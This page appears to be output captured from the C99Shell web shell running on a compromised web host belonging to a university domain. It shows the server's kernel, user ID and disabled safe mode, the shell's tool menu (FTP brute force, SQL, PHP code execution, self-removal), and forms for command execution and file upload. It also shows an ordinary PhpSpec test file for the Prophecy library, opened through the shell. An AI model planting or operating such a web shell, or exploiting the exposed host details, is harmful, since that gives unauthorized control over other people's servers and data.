!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/phpspec/prophecy/spec/Prophecy/   drwxr-xr-x
Free 116.79 GB of 200.55 GB (58.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ProphetSpec.php (2.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace spec\Prophecy;

use 
PhpSpec\ObjectBehavior;
use 
Prophecy\Argument;

class 
ProphetSpec extends ObjectBehavior
{
    
/**
     * @param \Prophecy\Doubler\Doubler                   $doubler
     * @param \Prophecy\Prophecy\ProphecySubjectInterface $double
     */
    
function let($doubler$double)
    {
        
$doubler->double(null, array())->willReturn($double);

        
$this->beConstructedWith($doubler);
    }

    function 
it_constructs_new_prophecy_on_prophesize_call()
    {
        
$prophecy $this->prophesize();
        
$prophecy->shouldBeAnInstanceOf('Prophecy\Prophecy\ObjectProphecy');
    }

    
/**
     * @param \Prophecy\Prophecy\ProphecySubjectInterface $newDouble
     */
    
function it_constructs_new_prophecy_with_parent_class_if_specified($doubler$newDouble)
    {
        
$doubler->double(Argument::any(), array())->willReturn($newDouble);

        
$this->prophesize('Prophecy\Prophet')->reveal()->shouldReturn($newDouble);
    }

    
/**
     * @param \Prophecy\Prophecy\ProphecySubjectInterface $newDouble
     */
    
function it_constructs_new_prophecy_with_interface_if_specified($doubler$newDouble)
    {
        
$doubler->double(nullArgument::any())->willReturn($newDouble);

        
$this->prophesize('ArrayAccess')->reveal()->shouldReturn($newDouble);
    }

    function 
it_exposes_all_created_prophecies_through_getter()
    {
        
$prophecy1 $this->prophesize();
        
$prophecy2 $this->prophesize();

        
$this->getProphecies()->shouldReturn(array($prophecy1$prophecy2));
    }

    function 
it_does_nothing_during_checkPredictions_call_if_no_predictions_defined()
    {
        
$this->checkPredictions()->shouldReturn(null);
    }

    
/**
     * @param \Prophecy\Prophecy\MethodProphecy    $method1
     * @param \Prophecy\Prophecy\MethodProphecy    $method2
     * @param \Prophecy\Argument\ArgumentsWildcard $arguments1
     * @param \Prophecy\Argument\ArgumentsWildcard $arguments2
     */
    
function it_throws_AggregateException_if_defined_predictions_fail(
        
$method1$method2$arguments1$arguments2
    
)
    {
        
$method1->getMethodName()->willReturn('getName');
        
$method1->getArgumentsWildcard()->willReturn($arguments1);
        
$method1->checkPrediction()->willReturn(null);

        
$method2->getMethodName()->willReturn('isSet');
        
$method2->getArgumentsWildcard()->willReturn($arguments2);
        
$method2->checkPrediction()->willThrow(
            
'Prophecy\Exception\Prediction\AggregateException'
        
);

        
$this->prophesize()->addMethodProphecy($method1);
        
$this->prophesize()->addMethodProphecy($method2);

        
$this->shouldThrow('Prophecy\Exception\Prediction\AggregateException')
            ->
duringCheckPredictions();
    }

    function 
it_exposes_doubler_through_getter($doubler)
    {
        
$this->getDoubler()->shouldReturn($doubler);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0132 ]--